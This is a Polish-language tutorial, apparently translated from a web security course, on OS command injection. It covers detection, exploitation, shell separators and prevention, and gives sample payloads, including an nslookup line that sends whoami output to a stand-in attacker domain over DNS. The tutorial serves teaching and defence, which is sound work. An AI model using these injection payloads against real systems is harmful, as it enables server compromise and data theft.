w tej sekcji wyjaśnimy, czym jest OS command injection, opiszemy, w jaki sposób można wykrywać i wykorzystywać luki w zabezpieczeniach, przedstawimy kilka przydatnych poleceń i technik dla różnych systemów operacyjnych i podsumujemy, jak zapobiec wstrzykiwaniu poleceń OS.
- co to jest OS command injection?
- wykonywanie dowolnych poleceń
- przydatne polecenia
- Blind OS command injection luki w zabezpieczeniach
- wykrywanie ślepego wstrzykiwania polecenia OS za pomocą opóźnień czasowych
- wykorzystanie Blind OS command injection poprzez przekierowanie wyjścia
- wykorzystanie iniekcji polecenia blind OS przy użyciu technik out-of-band (OAST)
- sposoby wstrzykiwania poleceń systemu operacyjnego
- jak zapobiec atakom OS command injection
co to jest OS command injection?
OS command injection (znany również jako Shell injection) to luka w zabezpieczeniach sieciowych, która umożliwia atakującemu wykonywanie dowolnych poleceń systemu operacyjnego (OS) na serwerze, na którym działa aplikacja, i zazwyczaj w pełni naraża aplikację i wszystkie jej dane. Bardzo często atakujący może wykorzystać lukę w systemie operacyjnym command injection, aby skompromitować Inne części infrastruktury hostingowej, wykorzystując relacje zaufania w celu przeniesienia ataku na inne systemy w organizacji.
wykonywanie dowolnych poleceń
rozważ aplikację zakupową, która pozwala użytkownikowi sprawdzić, czy dany artykuł jest w magazynie w danym sklepie. Informacje te są dostępne za pośrednictwem adresu URL, takiego jak:
https://insecure-website.com/stockStatus?productID=381&storeID=29
aby dostarczyć informacje o stanie magazynowym, aplikacja musi odpytywać różne starsze systemy. Ze względów historycznych funkcjonalność jest zaimplementowana przez wywołanie polecenia powłoki z identyfikatorami produktu i sklepu jako argumentami:
stockreport.pl 381 29
to polecenie wyświetla stan zapasów dla określonego artykułu, który jest zwracany użytkownikowi.
ponieważ aplikacja nie implementuje obrony przed wstrzyknięciem polecenia systemu operacyjnego, atakujący może przesłać następujące dane wejściowe, aby wykonać dowolne polecenie:
& echo aiwefwlguh &
jeżeli dane wejście jest wprowadzone w parametrze productID
, wtedy polecenie wykonywane przez aplikację jest:
stockreport.pl & echo aiwefwlguh & 29
polecenie echo
po prostu powoduje, że dostarczony ciąg znaków jest odbijany na wyjściu i jest użytecznym sposobem testowania niektórych typów wtrysku poleceń systemu operacyjnego. Znak &
jest separatorem poleceń powłoki, więc to, co jest wykonywane, to trzy oddzielne polecenia jeden po drugim. W rezultacie wyjście zwrócone użytkownikowi jest:
Error - productID was not provided
aiwefwlguh
29: command not found
trzy linie wyjścia pokazują, że:
- oryginalne polecenie
stockreport.pl
zostało wykonane bez oczekiwanych argumentów, więc zwróciło komunikat o błędzie. - polecenie injected
echo
zostało wykonane, a dostarczony łańcuch został wyświetlony echem na wyjściu. - oryginalny argument
29
został wykonany jako polecenie, które spowodowało błąd.
umieszczenie dodatkowego separatora poleceń &
po wstrzyknięciu polecenia jest na ogół użyteczne, ponieważ oddziela wstrzyknięte polecenie od tego, co następuje po punkcie wtrysku. Zmniejsza to prawdopodobieństwo, że to, co następuje, uniemożliwi wykonanie polecenia injected.
przydatne polecenia
w przypadku wykrycia luki w wstrzykiwaniu poleceń systemu operacyjnego przydatne jest wykonanie niektórych początkowych poleceń w celu uzyskania informacji o systemie, który został naruszony. Poniżej znajduje się podsumowanie niektórych poleceń, które są przydatne na platformach Linux i Windows:
cel polecenia | Linux | Windows |
---|---|---|
nazwa bieżącego użytkownika | whoami |
whoami |
System Operacyjny | uname -a |
ver |
konfiguracja sieci | ifconfig |
ipconfig /all |
połączenia sieciowe | netstat -an |
netstat -an |
uruchomione procesy | ps -ef |
tasklist |
Blind OS command injection luki w zabezpieczeniach
Wiele instancji OS command injection to ślepe luki w zabezpieczeniach. Oznacza to, że aplikacja nie zwraca wyjścia z polecenia w ramach swojej odpowiedzi HTTP. Ślepe luki mogą być nadal wykorzystywane, ale wymagane są różne techniki.
rozważ stronę internetową, która pozwala użytkownikom przesyłać opinie na temat witryny. Użytkownik wprowadza swój adres e-mail i wiadomość zwrotną. Następnie aplikacja po stronie serwera generuje wiadomość e-mail do Administratora Witryny zawierającą informacje zwrotne. Aby to zrobić, wywołuje program mail
z podanymi szczegółami. Na przykład:
mail -s "This site is great" -aFrom:[email protected] [email protected]
wyjście z polecenia mail
(jeśli takie istnieje) nie jest zwracane w odpowiedziach aplikacji, więc użycie polecenia echo
nie byłoby skuteczne. W tej sytuacji możesz użyć wielu innych technik do wykrycia i wykorzystania luki w zabezpieczeniach.
wykrywanie ślepego wstrzykiwania polecenia OS za pomocą opóźnień czasowych
możesz użyć polecenia wstrzykniętego, które spowoduje opóźnienie czasowe, co pozwoli Ci potwierdzić, że polecenie zostało wykonane na podstawie czasu, który aplikacja potrzebuje na odpowiedź. Polecenie ping
jest skutecznym sposobem, aby to zrobić, ponieważ pozwala określić liczbę pakietów ICMP do wysłania, a tym samym czas potrzebny na uruchomienie polecenia:
& ping -c 10 127.0.0.1 &
polecenie to spowoduje, że aplikacja będzie pingować swoją kartę sieciową loopback przez 10 sekund.
wykorzystanie Blind OS command injection poprzez przekierowanie wyjścia
Możesz przekierować wyjście z wstrzykniętego polecenia do pliku w katalogu głównym, który możesz następnie pobrać za pomocą przeglądarki. Na przykład, jeżeli aplikacja obsługuje zasoby statyczne z lokalizacji systemu plików /var/www/static
, wtedy można przesłać następujące dane wejściowe:
& whoami > /var/www/static/whoami.txt &
znak >
wysyła wyjście z polecenia whoami
do podanego pliku. Następnie możesz użyć przeglądarki, aby pobrać https://vulnerable-website.com/whoami.txt
, aby pobrać plik i wyświetlić dane wyjściowe z wstrzykniętego polecenia.
wykorzystanie iniekcji polecenia blind OS przy użyciu technik out-of-band (OAST)
możesz użyć polecenia iniekcyjnego, które wywoła pozapasmową interakcję sieciową z systemem, który kontrolujesz za pomocą technik OAST. Na przykład:
& nslookup kgji2ohoyw.web-attacker.com &
ten ładunek używa polecenia nslookup
do wywołania wyszukiwania DNS dla określonej domeny. Atakujący może monitorować zachodzące wyszukiwanie, a tym samym wykryć, że polecenie zostało pomyślnie wstrzyknięte.
kanał poza pasmem zapewnia również łatwy sposób na wyjście z wstrzykniętych poleceń:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
spowoduje to przeszukiwanie DNS domeny atakującego zawierające wynik polecenia whoami
:
wwwuser.kgji2ohoyw.web-attacker.com
sposoby wstrzykiwania poleceń systemu operacyjnego
różne metaznaki powłoki mogą być używane do wykonywania ataków wstrzykiwania poleceń systemu operacyjnego.
wiele znaków działa jako separatory poleceń, umożliwiając łączenie poleceń ze sobą. Poniższe separatory poleceń działają zarówno w systemach Windows, jak i Unix:
-
&
-
&&
-
|
-
||
poniższe separatory poleceń działają tylko na systemach uniksowych:
-
;
- Newline (
0x0a
lub\n
)
w systemach uniksowych można również użyć backticks lub znaku dolara do wykonania inline polecenia injected wewnątrz oryginalnego polecenia:
-
`
polecenie injected`
-
$(
polecenie injected)
zauważ, że różne metacharaktery powłoki mają subtelnie różne zachowania, które mogą wpływać na to, czy działają w określonych sytuacjach i czy pozwalają na pobieranie w paśmie wyjścia polecenia, czy są użyteczne tylko do ślepej eksploatacji.
czasami Dane wejściowe, które kontrolujesz, pojawiają się w cudzysłowie w oryginalnym poleceniu. W tej sytuacji, musisz zakończyć cytowany kontekst (używając "
lub '
) przed użyciem odpowiednich metaznaków powłoki, aby wstrzyknąć nowe polecenie.
jak zapobiec atakom OS command injection
zdecydowanie najskuteczniejszym sposobem zapobiegania lukom w zabezpieczeniach OS command injection jest nigdy nie wywoływanie poleceń OS z kodu warstwy aplikacji. Praktycznie w każdym przypadku istnieją alternatywne sposoby wdrożenia wymaganej funkcjonalności przy użyciu bezpieczniejszych interfejsów API platformy.
jeśli nieuniknione jest wywoływanie poleceń systemu operacyjnego z danymi wejściowymi dostarczonymi przez użytkownika, należy przeprowadzić silną walidację danych wejściowych. Niektóre przykłady skutecznej walidacji obejmują:
- Walidacja na podstawie białej listy dozwolonych wartości.
- sprawdzanie, czy wejście jest liczbą.
- sprawdzanie, czy wejście zawiera tylko znaki alfanumeryczne, brak innej składni lub białych spacji.
nigdy nie próbuj dezynfekować danych wejściowych, uciekając przed metacharakterami powłoki. W praktyce jest to po prostu zbyt podatne na błędy i podatne na ominięcie przez wykwalifikowanego napastnika.